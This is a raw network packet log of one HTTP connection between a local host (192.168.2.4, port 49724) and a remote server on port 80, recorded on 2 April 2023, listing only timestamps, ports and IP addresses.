Apr 2, 2023 09:51:06.091510057 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091519117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091540098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091557980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091557026 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091577053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091594934 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091609955 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091614008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091633081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091635942 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091650963 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091667891 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091669083 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091689110 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091706991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091722965 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091726065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091742992 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091761112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091777086 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091777086 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091784000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091808081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091814041 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091830969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091855049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091877937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091888905 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091901064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091914892 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091922998 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091945887 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091964960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091972113 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091983080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092000961 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092004061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092022896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092027903 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092041969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092061043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092082024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092099905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092112064 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092112064 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092118979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092137098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092144966 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092156887 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092175007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092185020 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092195034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092214108 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092231989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092247009 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092251062 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092268944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092272997 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092297077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092300892 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092313051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092328072 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092341900 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092355013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092358112 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092366934 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092381001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092386007 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092395067 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092410088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092410088 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092423916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092433929 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092438936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092452049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092463017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092466116 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092475891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092489004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092490911 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092503071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092514992 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092530966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092544079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092549086 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092556000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092570066 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092586040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092600107 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092607975 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092607975 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092614889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092629910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092638969 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092641115 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092653990 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092667103 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092679024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092686892 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092691898 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092705965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092717886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092724085 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092724085 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092730045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092744112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092753887 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092756987 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092771053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092787981 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092787981 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092799902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092813015 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092814922 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092825890 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092839003 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092839956 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092854977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092869043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092874050 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092881918 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092895985 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092905045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092905045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092909098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092922926 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092933893 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092937946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092952013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092961073 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.092964888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092981100 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.092993975 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093005896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093019962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093019009 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093019009 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093031883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093050003 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093063116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093080044 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093080044 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093096972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093113899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093127012 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093131065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093147993 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093163967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093180895 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093182087 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093199015 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093214989 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093216896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093214989 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093238115 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093255043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093271017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093274117 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093286991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093302965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093319893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093321085 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093336105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093348980 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093353987 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093372107 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093374014 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093388081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093396902 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093405008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093420982 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093436956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093437910 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093452930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093465090 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093467951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093482018 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093487024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093492031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093507051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093511105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093514919 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093518019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093519926 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093522072 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093540907 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093547106 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093550920 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093563080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093579054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093580961 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093595028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093605995 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093609095 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093622923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093636036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093636990 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093641043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093653917 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093666077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093668938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093669891 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093672991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093676090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093688011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093692064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093694925 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093698978 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093702078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093703985 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093705893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093718052 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093720913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093724012 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093727112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093728065 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093729973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093734980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093744993 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093748093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.093775034 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093806982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.093806982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114346981 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114397049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114415884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114443064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114450932 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114480019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114495039 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114506960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114531040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114538908 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114557028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114562988 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114583969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114588022 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114624977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114644051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114681005 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114682913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114716053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114722967 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114734888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114753962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114773989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114792109 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114793062 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114811897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114816904 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114833117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114850998 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114855051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114873886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114892960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114902020 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114912033 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114932060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114949942 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.114948034 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114979982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.114984035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115001917 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115001917 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115027905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115052938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115052938 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115075111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115098000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115118980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115128040 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115138054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115154982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115155935 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115175962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115183115 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115194082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115212917 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115231037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115243912 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115250111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115268946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115269899 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115287066 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115304947 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115303993 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115324020 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115343094 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115355015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115364075 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115381002 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115382910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115401983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115408897 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115422010 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115439892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115457058 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115468979 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115475893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115494967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115495920 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115513086 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115531921 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115541935 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115550041 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115565062 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115569115 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115586996 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115605116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115618944 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115622997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115642071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115647078 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115659952 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115669966 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115679026 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115696907 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115715027 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115715981 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115734100 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115741968 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115751982 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115770102 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115788937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115801096 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115807056 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115825891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115827084 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115844011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115860939 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.115869045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.115880013 CEST	80	49724	131.188.40.189	192.168.2.4
